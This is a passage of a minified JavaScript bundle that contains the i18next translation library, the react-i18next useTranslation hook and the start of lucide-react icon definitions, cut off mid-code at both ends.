f=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{},h=x=>{if(x.indexOf(this.formatSeparator)<0){const A=TA(n,f,x,this.options.keySeparator,this.options.ignoreJSONStructure);return this.alwaysFormat?this.format(A,void 0,r,{...i,...n,interpolationkey:x}):A}const S=x.split(this.formatSeparator),w=S.shift().trim(),O=S.join(this.formatSeparator).trim();return this.format(TA(n,f,w,this.options.keySeparator,this.options.ignoreJSONStructure),O,r,{...i,...n,interpolationkey:w})};this.resetRegExp();const p=i?.missingInterpolationHandler||this.options.missingInterpolationHandler,m=i?.interpolation?.skipOnVariables!==void 0?i.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:x=>hg(x)},{regex:this.regexp,safeValue:x=>this.escapeValue?hg(this.escape(x)):hg(x)}].forEach(x=>{for(u=0;l=x.regex.exec(t);){const S=l[1].trim();if(c=h(S),c===void 0)if(typeof p=="function"){const O=p(t,l,i);c=Te(O)?O:""}else if(i&&Object.prototype.hasOwnProperty.call(i,S))c="";else if(m){c=l[0];continue}else this.logger.warn(`missed to pass in variable ${S} for interpolating ${t}`),c="";else!Te(c)&&!this.useRawValueToEscape&&(c=bA(c));const w=x.safeValue(c);if(t=t.replace(l[0],w),m?(x.regex.lastIndex+=c.length,x.regex.lastIndex-=l[0].length):x.regex.lastIndex=0,u++,u>=this.maxReplaces)break}}),t}nest(t,n,r={}){let i,l,c;const u=(f,h)=>{const p=this.nestingOptionsSeparator;if(f.indexOf(p)<0)return f;const m=f.split(new RegExp(`${p}[ ]*{`));let y=`{${m[1]}`;f=m[0],y=this.interpolate(y,c);const x=y.match(/'/g),S=y.match(/"/g);((x?.length??0)%2===0&&!S||S.length%2!==0)&&(y=y.replace(/'/g,'"'));try{c=JSON.parse(y),h&&(c={...h,...c})}catch(w){return this.logger.warn(`failed parsing options string in nesting for key ${f}`,w),`${f}${p}${y}`}return c.defaultValue&&c.defaultValue.indexOf(this.prefix)>-1&&delete c.defaultValue,f};for(;i=this.nestingRegexp.exec(t);){let f=[];c={...r},c=c.replace&&!Te(c.replace)?c.replace:c,c.applyPostProcessor=!1,delete c.defaultValue;const h=/{.*}/.test(i[1])?i[1].lastIndexOf("}")+1:i[1].indexOf(this.formatSeparator);if(h!==-1&&(f=i[1].slice(h).split(this.formatSeparator).map(p=>p.trim()).filter(Boolean),i[1]=i[1].slice(0,h)),l=n(u.call(this,i[1].trim(),c),c),l&&i[0]===t&&!Te(l))return l;Te(l)||(l=bA(l)),l||(this.logger.warn(`missed to resolve ${i[1]} for nesting ${t}`),l=""),f.length&&(l=f.reduce((p,m)=>this.format(p,m,r.lng,{...r,interpolationkey:i[1].trim()}),l.trim())),t=t.replace(i[0],l),this.regexp.lastIndex=0}return t}}const W$=e=>{let t=e.toLowerCase().trim();const n={};if(e.indexOf("(")>-1){const r=e.split("(");t=r[0].toLowerCase().trim();const i=r[1].substring(0,r[1].length-1);t==="currency"&&i.indexOf(":")<0?n.currency||(n.currency=i.trim()):t==="relativetime"&&i.indexOf(":")<0?n.range||(n.range=i.trim()):i.split(";").forEach(c=>{if(c){const[u,...f]=c.split(":"),h=f.join(":").trim().replace(/^'+|'+$/g,""),p=u.trim();n[p]||(n[p]=h),h==="false"&&(n[p]=!1),h==="true"&&(n[p]=!0),isNaN(h)||(n[p]=parseInt(h,10))}})}return{formatName:t,formatOptions:n}},MA=e=>{const t={};return(n,r,i)=>{let l=i;i&&i.interpolationkey&&i.formatParams&&i.formatParams[i.interpolationkey]&&i[i.interpolationkey]&&(l={...l,[i.interpolationkey]:void 0});const c=r+JSON.stringify(l);let u=t[c];return u||(u=e(xc(r),i),t[c]=u),u(n)}},X$=e=>(t,n,r)=>e(xc(n),r)(t);class Z${constructor(t={}){this.logger=kr.create("formatter"),this.options=t,this.init(t)}init(t,n={interpolation:{}}){this.formatSeparator=n.interpolation.formatSeparator||",";const r=n.cacheInBuiltFormats?MA:X$;this.formats={number:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l});return u=>c.format(u)}),currency:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l,style:"currency"});return u=>c.format(u)}),datetime:r((i,l)=>{const c=new Intl.DateTimeFormat(i,{...l});return u=>c.format(u)}),relativetime:r((i,l)=>{const c=new Intl.RelativeTimeFormat(i,{...l});return u=>c.format(u,l.range||"day")}),list:r((i,l)=>{const c=new Intl.ListFormat(i,{...l});return u=>c.format(u)})}}add(t,n){this.formats[t.toLowerCase().trim()]=n}addCached(t,n){this.formats[t.toLowerCase().trim()]=MA(n)}format(t,n,r,i={}){const l=n.split(this.formatSeparator);if(l.length>1&&l[0].indexOf("(")>1&&l[0].indexOf(")")<0&&l.find(u=>u.indexOf(")")>-1)){const u=l.findIndex(f=>f.indexOf(")")>-1);l[0]=[l[0],...l.splice(1,u)].join(this.formatSeparator)}return l.reduce((u,f)=>{const{formatName:h,formatOptions:p}=W$(f);if(this.formats[h]){let m=u;try{const y=i?.formatParams?.[i.interpolationkey]||{},x=y.locale||y.lng||i.locale||i.lng||r;m=this.formats[h](u,x,{...p,...i,...y})}catch(y){this.logger.warn(y)}return m}else this.logger.warn(`there was no format function for ${h}`);return u},t)}}const Q$=(e,t)=>{e.pending[t]!==void 0&&(delete e.pending[t],e.pendingCount--)};class J$ extends Ah{constructor(t,n,r,i={}){super(),this.backend=t,this.store=n,this.services=r,this.languageUtils=r.languageUtils,this.options=i,this.logger=kr.create("backendConnector"),this.waitingReads=[],this.maxParallelReads=i.maxParallelReads||10,this.readingCalls=0,this.maxRetries=i.maxRetries>=0?i.maxRetries:5,this.retryTimeout=i.retryTimeout>=1?i.retryTimeout:350,this.state={},this.queue=[],this.backend?.init?.(r,i.backend,i)}queueLoad(t,n,r,i){const l={},c={},u={},f={};return t.forEach(h=>{let p=!0;n.forEach(m=>{const y=`${h}|${m}`;!r.reload&&this.store.hasResourceBundle(h,m)?this.state[y]=2:this.state[y]<0||(this.state[y]===1?c[y]===void 0&&(c[y]=!0):(this.state[y]=1,p=!1,c[y]===void 0&&(c[y]=!0),l[y]===void 0&&(l[y]=!0),f[m]===void 0&&(f[m]=!0)))}),p||(u[h]=!0)}),(Object.keys(l).length||Object.keys(c).length)&&this.queue.push({pending:c,pendingCount:Object.keys(c).length,loaded:{},errors:[],callback:i}),{toLoad:Object.keys(l),pending:Object.keys(c),toLoadLanguages:Object.keys(u),toLoadNamespaces:Object.keys(f)}}loaded(t,n,r){const i=t.split("|"),l=i[0],c=i[1];n&&this.emit("failedLoading",l,c,n),!n&&r&&this.store.addResourceBundle(l,c,r,void 0,void 0,{skipCopy:!0}),this.state[t]=n?-1:2,n&&r&&(this.state[t]=0);const u={};this.queue.forEach(f=>{z$(f.loaded,[l],c),Q$(f,t),n&&f.errors.push(n),f.pendingCount===0&&!f.done&&(Object.keys(f.loaded).forEach(h=>{u[h]||(u[h]={});const p=f.loaded[h];p.length&&p.forEach(m=>{u[h][m]===void 0&&(u[h][m]=!0)})}),f.done=!0,f.errors.length?f.callback(f.errors):f.callback())}),this.emit("loaded",u),this.queue=this.queue.filter(f=>!f.done)}read(t,n,r,i=0,l=this.retryTimeout,c){if(!t.length)return c(null,{});if(this.readingCalls>=this.maxParallelReads){this.waitingReads.push({lng:t,ns:n,fcName:r,tried:i,wait:l,callback:c});return}this.readingCalls++;const u=(h,p)=>{if(this.readingCalls--,this.waitingReads.length>0){const m=this.waitingReads.shift();this.read(m.lng,m.ns,m.fcName,m.tried,m.wait,m.callback)}if(h&&p&&i{this.read.call(this,t,n,r,i+1,l*2,c)},l);return}c(h,p)},f=this.backend[r].bind(this.backend);if(f.length===2){try{const h=f(t,n);h&&typeof h.then=="function"?h.then(p=>u(null,p)).catch(u):u(null,h)}catch(h){u(h)}return}return f(t,n,u)}prepareLoading(t,n,r={},i){if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),i&&i();Te(t)&&(t=this.languageUtils.toResolveHierarchy(t)),Te(n)&&(n=[n]);const l=this.queueLoad(t,n,r,i);if(!l.toLoad.length)return l.pending.length||i(),null;l.toLoad.forEach(c=>{this.loadOne(c)})}load(t,n,r){this.prepareLoading(t,n,{},r)}reload(t,n,r){this.prepareLoading(t,n,{reload:!0},r)}loadOne(t,n=""){const r=t.split("|"),i=r[0],l=r[1];this.read(i,l,"read",void 0,void 0,(c,u)=>{c&&this.logger.warn(`${n}loading namespace ${l} for language ${i} failed`,c),!c&&u&&this.logger.log(`${n}loaded namespace ${l} for language ${i}`,u),this.loaded(t,c,u)})}saveMissing(t,n,r,i,l,c={},u=()=>{}){if(this.services?.utils?.hasLoadedNamespace&&!this.services?.utils?.hasLoadedNamespace(n)){this.logger.warn(`did not save key "${r}" as the namespace "${n}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!");return}if(!(r==null||r==="")){if(this.backend?.create){const f={...c,isUpdate:l},h=this.backend.create.bind(this.backend);if(h.length<6)try{let p;h.length===5?p=h(t,n,r,i,f):p=h(t,n,r,i),p&&typeof p.then=="function"?p.then(m=>u(null,m)).catch(u):u(null,p)}catch(p){u(p)}else h(t,n,r,i,u,f)}!t||!t[0]||this.store.addResource(t[0],n,r,i)}}}const jA=()=>({debug:!1,initAsync:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!1,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:e=>{let t={};if(typeof e[1]=="object"&&(t=e[1]),Te(e[1])&&(t.defaultValue=e[1]),Te(e[2])&&(t.tDescription=e[2]),typeof e[2]=="object"||typeof e[3]=="object"){const n=e[3]||e[2];Object.keys(n).forEach(r=>{t[r]=n[r]})}return t},interpolation:{escapeValue:!0,format:e=>e,prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!0},cacheInBuiltFormats:!0}),PA=e=>(Te(e.ns)&&(e.ns=[e.ns]),Te(e.fallbackLng)&&(e.fallbackLng=[e.fallbackLng]),Te(e.fallbackNS)&&(e.fallbackNS=[e.fallbackNS]),e.supportedLngs?.indexOf?.("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),typeof e.initImmediate=="boolean"&&(e.initAsync=e.initImmediate),e),Lf=()=>{},e6=e=>{Object.getOwnPropertyNames(Object.getPrototypeOf(e)).forEach(n=>{typeof e[n]=="function"&&(e[n]=e[n].bind(e))})};class yc extends Ah{constructor(t={},n){if(super(),this.options=PA(t),this.services={},this.logger=kr,this.modules={external:[]},e6(this),n&&!this.isInitialized&&!t.isClone){if(!this.options.initAsync)return this.init(t,n),this;setTimeout(()=>{this.init(t,n)},0)}}init(t={},n){this.isInitializing=!0,typeof t=="function"&&(n=t,t={}),t.defaultNS==null&&t.ns&&(Te(t.ns)?t.defaultNS=t.ns:t.ns.indexOf("translation")<0&&(t.defaultNS=t.ns[0]));const r=jA();this.options={...r,...this.options,...PA(t)},this.options.interpolation={...r.interpolation,...this.options.interpolation},t.keySeparator!==void 0&&(this.options.userDefinedKeySeparator=t.keySeparator),t.nsSeparator!==void 0&&(this.options.userDefinedNsSeparator=t.nsSeparator),typeof this.options.overloadTranslationOptionHandler!="function"&&(this.options.overloadTranslationOptionHandler=r.overloadTranslationOptionHandler);const i=h=>h?typeof h=="function"?new h:h:null;if(!this.options.isClone){this.modules.logger?kr.init(i(this.modules.logger),this.options):kr.init(null,this.options);let h;this.modules.formatter?h=this.modules.formatter:h=Z$;const p=new AA(this.options);this.store=new OA(this.options.resources,this.options);const m=this.services;m.logger=kr,m.resourceStore=this.store,m.languageUtils=p,m.pluralResolver=new G$(p,{prepend:this.options.pluralSeparator,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),this.options.interpolation.format&&this.options.interpolation.format!==r.interpolation.format&&this.logger.deprecate("init: you are still using the legacy format function, please use the new approach: https://www.i18next.com/translation-function/formatting"),h&&(!this.options.interpolation.format||this.options.interpolation.format===r.interpolation.format)&&(m.formatter=i(h),m.formatter.init&&m.formatter.init(m,this.options),this.options.interpolation.format=m.formatter.format.bind(m.formatter)),m.interpolator=new NA(this.options),m.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},m.backendConnector=new J$(i(this.modules.backend),m.resourceStore,m,this.options),m.backendConnector.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.languageDetector&&(m.languageDetector=i(this.modules.languageDetector),m.languageDetector.init&&m.languageDetector.init(m,this.options.detection,this.options)),this.modules.i18nFormat&&(m.i18nFormat=i(this.modules.i18nFormat),m.i18nFormat.init&&m.i18nFormat.init(this)),this.translator=new bd(this.services,this.options),this.translator.on("*",(x,...S)=>{this.emit(x,...S)}),this.modules.external.forEach(x=>{x.init&&x.init(this)})}if(this.format=this.options.interpolation.format,n||(n=Lf),this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){const h=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);h.length>0&&h[0]!=="dev"&&(this.options.lng=h[0])}!this.services.languageDetector&&!this.options.lng&&this.logger.warn("init: no languageDetector is used and no lng is defined"),["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"].forEach(h=>{this[h]=(...p)=>this.store[h](...p)}),["addResource","addResources","addResourceBundle","removeResourceBundle"].forEach(h=>{this[h]=(...p)=>(this.store[h](...p),this)});const u=nc(),f=()=>{const h=(p,m)=>{this.isInitializing=!1,this.isInitialized&&!this.initializedStoreOnce&&this.logger.warn("init: i18next is already initialized. You should call init just once!"),this.isInitialized=!0,this.options.isClone||this.logger.log("initialized",this.options),this.emit("initialized",this.options),u.resolve(m),n(p,m)};if(this.languages&&!this.isInitialized)return h(null,this.t.bind(this));this.changeLanguage(this.options.lng,h)};return this.options.resources||!this.options.initAsync?f():setTimeout(f,0),u}loadResources(t,n=Lf){let r=n;const i=Te(t)?t:this.language;if(typeof t=="function"&&(r=t),!this.options.resources||this.options.partialBundledLanguages){if(i?.toLowerCase()==="cimode"&&(!this.options.preload||this.options.preload.length===0))return r();const l=[],c=u=>{if(!u||u==="cimode")return;this.services.languageUtils.toResolveHierarchy(u).forEach(h=>{h!=="cimode"&&l.indexOf(h)<0&&l.push(h)})};i?c(i):this.services.languageUtils.getFallbackCodes(this.options.fallbackLng).forEach(f=>c(f)),this.options.preload?.forEach?.(u=>c(u)),this.services.backendConnector.load(l,this.options.ns,u=>{!u&&!this.resolvedLanguage&&this.language&&this.setResolvedLanguage(this.language),r(u)})}else r(null)}reloadResources(t,n,r){const i=nc();return typeof t=="function"&&(r=t,t=void 0),typeof n=="function"&&(r=n,n=void 0),t||(t=this.languages),n||(n=this.options.ns),r||(r=Lf),this.services.backendConnector.reload(t,n,l=>{i.resolve(),r(l)}),i}use(t){if(!t)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!t.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return t.type==="backend"&&(this.modules.backend=t),(t.type==="logger"||t.log&&t.warn&&t.error)&&(this.modules.logger=t),t.type==="languageDetector"&&(this.modules.languageDetector=t),t.type==="i18nFormat"&&(this.modules.i18nFormat=t),t.type==="postProcessor"&&uM.addPostProcessor(t),t.type==="formatter"&&(this.modules.formatter=t),t.type==="3rdParty"&&this.modules.external.push(t),this}setResolvedLanguage(t){if(!(!t||!this.languages)&&!(["cimode","dev"].indexOf(t)>-1)){for(let n=0;n-1)&&this.store.hasLanguageSomeTranslations(r)){this.resolvedLanguage=r;break}}!this.resolvedLanguage&&this.languages.indexOf(t)<0&&this.store.hasLanguageSomeTranslations(t)&&(this.resolvedLanguage=t,this.languages.unshift(t))}}changeLanguage(t,n){this.isLanguageChangingTo=t;const r=nc();this.emit("languageChanging",t);const i=u=>{this.language=u,this.languages=this.services.languageUtils.toResolveHierarchy(u),this.resolvedLanguage=void 0,this.setResolvedLanguage(u)},l=(u,f)=>{f?this.isLanguageChangingTo===t&&(i(f),this.translator.changeLanguage(f),this.isLanguageChangingTo=void 0,this.emit("languageChanged",f),this.logger.log("languageChanged",f)):this.isLanguageChangingTo=void 0,r.resolve((...h)=>this.t(...h)),n&&n(u,(...h)=>this.t(...h))},c=u=>{!t&&!u&&this.services.languageDetector&&(u=[]);const f=Te(u)?u:u&&u[0],h=this.store.hasLanguageSomeTranslations(f)?f:this.services.languageUtils.getBestMatchFromCodes(Te(u)?[u]:u);h&&(this.language||i(h),this.translator.language||this.translator.changeLanguage(h),this.services.languageDetector?.cacheUserLanguage?.(h)),this.loadResources(h,p=>{l(p,h)})};return!t&&this.services.languageDetector&&!this.services.languageDetector.async?c(this.services.languageDetector.detect()):!t&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect.length===0?this.services.languageDetector.detect().then(c):this.services.languageDetector.detect(c):c(t),r}getFixedT(t,n,r){const i=(l,c,...u)=>{let f;typeof c!="object"?f=this.options.overloadTranslationOptionHandler([l,c].concat(u)):f={...c},f.lng=f.lng||i.lng,f.lngs=f.lngs||i.lngs,f.ns=f.ns||i.ns,f.keyPrefix!==""&&(f.keyPrefix=f.keyPrefix||r||i.keyPrefix);const h=this.options.keySeparator||".";let p;return f.keyPrefix&&Array.isArray(l)?p=l.map(m=>(typeof m=="function"&&(m=i0(m,{...this.options,...c})),`${f.keyPrefix}${h}${m}`)):(typeof l=="function"&&(l=i0(l,{...this.options,...c})),p=f.keyPrefix?`${f.keyPrefix}${h}${l}`:l),this.t(p,f)};return Te(t)?i.lng=t:i.lngs=t,i.ns=n,i.keyPrefix=r,i}t(...t){return this.translator?.translate(...t)}exists(...t){return this.translator?.exists(...t)}setDefaultNamespace(t){this.options.defaultNS=t}hasLoadedNamespace(t,n={}){if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;const r=n.lng||this.resolvedLanguage||this.languages[0],i=this.options?this.options.fallbackLng:!1,l=this.languages[this.languages.length-1];if(r.toLowerCase()==="cimode")return!0;const c=(u,f)=>{const h=this.services.backendConnector.state[`${u}|${f}`];return h===-1||h===0||h===2};if(n.precheck){const u=n.precheck(this,c);if(u!==void 0)return u}return!!(this.hasResourceBundle(r,t)||!this.services.backendConnector.backend||this.options.resources&&!this.options.partialBundledLanguages||c(r,t)&&(!i||c(l,t)))}loadNamespaces(t,n){const r=nc();return this.options.ns?(Te(t)&&(t=[t]),t.forEach(i=>{this.options.ns.indexOf(i)<0&&this.options.ns.push(i)}),this.loadResources(i=>{r.resolve(),n&&n(i)}),r):(n&&n(),Promise.resolve())}loadLanguages(t,n){const r=nc();Te(t)&&(t=[t]);const i=this.options.preload||[],l=t.filter(c=>i.indexOf(c)<0&&this.services.languageUtils.isSupportedCode(c));return l.length?(this.options.preload=i.concat(l),this.loadResources(c=>{r.resolve(),n&&n(c)}),r):(n&&n(),Promise.resolve())}dir(t){if(t||(t=this.resolvedLanguage||(this.languages?.length>0?this.languages[0]:this.language)),!t)return"rtl";try{const i=new Intl.Locale(t);if(i&&i.getTextInfo){const l=i.getTextInfo();if(l&&l.direction)return l.direction}}catch{}const n=["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam","ckb"],r=this.services?.languageUtils||new AA(jA());return t.toLowerCase().indexOf("-latn")>1?"ltr":n.indexOf(r.getLanguagePartFromCode(t))>-1||t.toLowerCase().indexOf("-arab")>1?"rtl":"ltr"}static createInstance(t={},n){const r=new yc(t,n);return r.createInstance=yc.createInstance,r}cloneInstance(t={},n=Lf){const r=t.forkResourceStore;r&&delete t.forkResourceStore;const i={...this.options,...t,isClone:!0},l=new yc(i);if((t.debug!==void 0||t.prefix!==void 0)&&(l.logger=l.logger.clone(t)),["store","services","language"].forEach(u=>{l[u]=this[u]}),l.services={...this.services},l.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},r){const u=Object.keys(this.store.data).reduce((f,h)=>(f[h]={...this.store.data[h]},f[h]=Object.keys(f[h]).reduce((p,m)=>(p[m]={...f[h][m]},p),f[h]),f),{});l.store=new OA(u,i),l.services.resourceStore=l.store}return t.interpolation&&(l.services.interpolator=new NA(i)),l.translator=new bd(l.services,i),l.translator.on("*",(u,...f)=>{l.emit(u,...f)}),l.init(i,n),l.translator.options=i,l.translator.backendConnector.services.utils={hasLoadedNamespace:l.hasLoadedNamespace.bind(l)},l}toJSON(){return{options:this.options,store:this.store,language:this.language,languages:this.languages,resolvedLanguage:this.resolvedLanguage}}}const hn=yc.createInstance();hn.createInstance;hn.dir;hn.init;hn.loadResources;hn.reloadResources;hn.use;hn.changeLanguage;hn.getFixedT;hn.t;hn.exists;hn.setDefaultNamespace;hn.hasLoadedNamespace;hn.loadNamespaces;hn.loadLanguages;const t6=(e,t,n,r)=>{const i=[n,{code:t,...r||{}}];if(e?.services?.logger?.forward)return e.services.logger.forward(i,"warn","react-i18next::",!0);io(i[0])&&(i[0]=`react-i18next:: ${i[0]}`),e?.services?.logger?.warn?e.services.logger.warn(...i):console?.warn&&console.warn(...i)},RA={},dM=(e,t,n,r)=>{io(n)&&RA[n]||(io(n)&&(RA[n]=new Date),t6(e,t,n,r))},hM=(e,t)=>()=>{if(e.isInitialized)t();else{const n=()=>{setTimeout(()=>{e.off("initialized",n)},0),t()};e.on("initialized",n)}},o0=(e,t,n)=>{e.loadNamespaces(t,hM(e,n))},DA=(e,t,n,r)=>{if(io(n)&&(n=[n]),e.options.preload&&e.options.preload.indexOf(t)>-1)return o0(e,n,r);n.forEach(i=>{e.options.ns.indexOf(i)<0&&e.options.ns.push(i)}),e.loadLanguages(t,hM(e,r))},n6=(e,t,n={})=>!t.languages||!t.languages.length?(dM(t,"NO_LANGUAGES","i18n.languages were undefined or empty",{languages:t.languages}),!0):t.hasLoadedNamespace(e,{lng:n.lng,precheck:(r,i)=>{if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&r.services.backendConnector.backend&&r.isLanguageChangingTo&&!i(r.isLanguageChangingTo,e))return!1}}),io=e=>typeof e=="string",r6=e=>typeof e=="object"&&e!==null,a6=/&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34|nbsp|#160|copy|#169|reg|#174|hellip|#8230|#x2F|#47);/g,i6={"&":"&","&":"&","<":"<","<":"<",">":">",">":">","'":"'","'":"'",""":'"',""":'"'," ":" "," ":" ","©":"©","©":"©","®":"®","®":"®","…":"…","…":"…","/":"/","/":"/"},o6=e=>i6[e],l6=e=>e.replace(a6,o6);let l0={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0,unescape:l6,transDefaultProps:void 0};const s6=(e={})=>{l0={...l0,...e}},c6=()=>l0;let pM;const u6=e=>{pM=e},f6=()=>pM,d6={type:"3rdParty",init(e){s6(e.options.react),u6(e)}},h6=v.createContext();class p6{constructor(){this.usedNamespaces={}}addUsedNamespaces(t){t.forEach(n=>{this.usedNamespaces[n]||(this.usedNamespaces[n]=!0)})}getUsedNamespaces(){return Object.keys(this.usedNamespaces)}}var pg={exports:{}},mg={};var kA;function m6(){if(kA)return mg;kA=1;var e=Ul();function t(m,y){return m===y&&(m!==0||1/m===1/y)||m!==m&&y!==y}var n=typeof Object.is=="function"?Object.is:t,r=e.useState,i=e.useEffect,l=e.useLayoutEffect,c=e.useDebugValue;function u(m,y){var x=y(),S=r({inst:{value:x,getSnapshot:y}}),w=S[0].inst,O=S[1];return l(function(){w.value=x,w.getSnapshot=y,f(w)&&O({inst:w})},[m,x,y]),i(function(){return f(w)&&O({inst:w}),m(function(){f(w)&&O({inst:w})})},[m]),c(x),x}function f(m){var y=m.getSnapshot;m=m.value;try{var x=y();return!n(m,x)}catch{return!0}}function h(m,y){return y()}var p=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?h:u;return mg.useSyncExternalStore=e.useSyncExternalStore!==void 0?e.useSyncExternalStore:p,mg}var LA;function mM(){return LA||(LA=1,pg.exports=m6()),pg.exports}var v6=mM();const g6=(e,t)=>io(t)?t:r6(t)&&io(t.defaultValue)?t.defaultValue:Array.isArray(e)?e[e.length-1]:e,y6={t:g6,ready:!1},b6=()=>()=>{},wo=(e,t={})=>{const{i18n:n}=t,{i18n:r,defaultNS:i}=v.useContext(h6)||{},l=n||r||f6();l&&!l.reportNamespaces&&(l.reportNamespaces=new p6),l||dM(l,"NO_I18NEXT_INSTANCE","useTranslation: You will need to pass in an i18next instance by using initReactI18next");const c=v.useMemo(()=>({...c6(),...l?.options?.react,...t}),[l,t]),{useSuspense:u,keyPrefix:f}=c,h=i||l?.options?.defaultNS,p=io(h)?[h]:h||["translation"],m=v.useMemo(()=>p,p);l?.reportNamespaces?.addUsedNamespaces?.(m);const y=v.useRef(0),x=v.useCallback(B=>{if(!l)return b6;const{bindI18n:q,bindI18nStore:U}=c,V=()=>{y.current+=1,B()};return q&&l.on(q,V),U&&l.store.on(U,V),()=>{q&&q.split(" ").forEach(oe=>l.off(oe,V)),U&&U.split(" ").forEach(oe=>l.store.off(oe,V))}},[l,c]),S=v.useRef(),w=v.useCallback(()=>{if(!l)return y6;const B=!!(l.isInitialized||l.initializedStoreOnce)&&m.every(ce=>n6(ce,l,c)),q=t.lng||l.language,U=y.current,V=S.current;if(V&&V.ready===B&&V.lng===q&&V.keyPrefix===f&&V.revision===U)return V;const le={t:l.getFixedT(q,c.nsMode==="fallback"?m:m[0],f),ready:B,lng:q,keyPrefix:f,revision:U};return S.current=le,le},[l,m,f,c,t.lng]),[O,A]=v.useState(0),{t:_,ready:T}=v6.useSyncExternalStore(x,w,w);v.useEffect(()=>{if(l&&!T&&!u){const B=()=>A(q=>q+1);t.lng?DA(l,t.lng,m,B):o0(l,m,B)}},[l,t.lng,m,T,u,O]);const j=l||{},M=v.useRef(null),P=v.useRef(),R=B=>{const q=Object.getOwnPropertyDescriptors(B);q.__original&&delete q.__original;const U=Object.create(Object.getPrototypeOf(B),q);if(!Object.prototype.hasOwnProperty.call(U,"__original"))try{Object.defineProperty(U,"__original",{value:B,writable:!1,enumerable:!1,configurable:!1})}catch{}return U},I=v.useMemo(()=>{const B=j,q=B?.language;let U=B;B&&(M.current&&M.current.__original===B?P.current!==q?(U=R(B),M.current=U,P.current=q):U=M.current:(U=R(B),M.current=U,P.current=q));const V=[_,U,T];return V.t=_,V.i18n=U,V.ready=T,V},[_,j,T,j.resolvedLanguage,j.language,j.languages]);if(l&&u&&!T)throw new Promise(B=>{const q=()=>B();t.lng?DA(l,t.lng,m,q):o0(l,m,q)});return I};const x6=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),w6=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(t,n,r)=>r?r.toUpperCase():n.toLowerCase()),IA=e=>{const t=w6(e);return t.charAt(0).toUpperCase()+t.slice(1)},vM=(...e)=>e.filter((t,n,r)=>!!t&&t.trim()!==""&&r.indexOf(t)===n).join(" ").trim(),S6=e=>{for(const t in e)if(t.startsWith("aria-")||t==="role"||t==="title")return!0};var O6={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const E6=v.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:i="",children:l,iconNode:c,...u},f)=>v.createElement("svg",{ref:f,...O6,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:vM("lucide",i),...!l&&!S6(u)&&{"aria-hidden":"true"},...u},[...c.map(([h,p])=>v.createElement(h,p)),...Array.isArray(l)?l:[l]]));const Me=(e,t)=>{const n=v.forwardRef(({className:r,...i},l)=>v.createElement(E6,{ref:l,iconNode:t,className:vM(`lucide-${x6(IA(e))}`,`lucide-${e}`,r),...i}));return n.displayName=IA(e),n};const A6=[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]],xd=Me("activity",A6);const C6=[["path",{d:"M4.929 4.929 19.07 19.071",key:"196cmz"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],zA=Me("ban",C6);const _6=[["path",{d:"M3 3v16a2 2 0 0 0 2 2h16",key:"c24i48"}],["path",{d:"M18 17V9",key:"2bz60n"}],["path",{d:"M13 17V5",key:"1frdt8"}],["path",{d:"M8 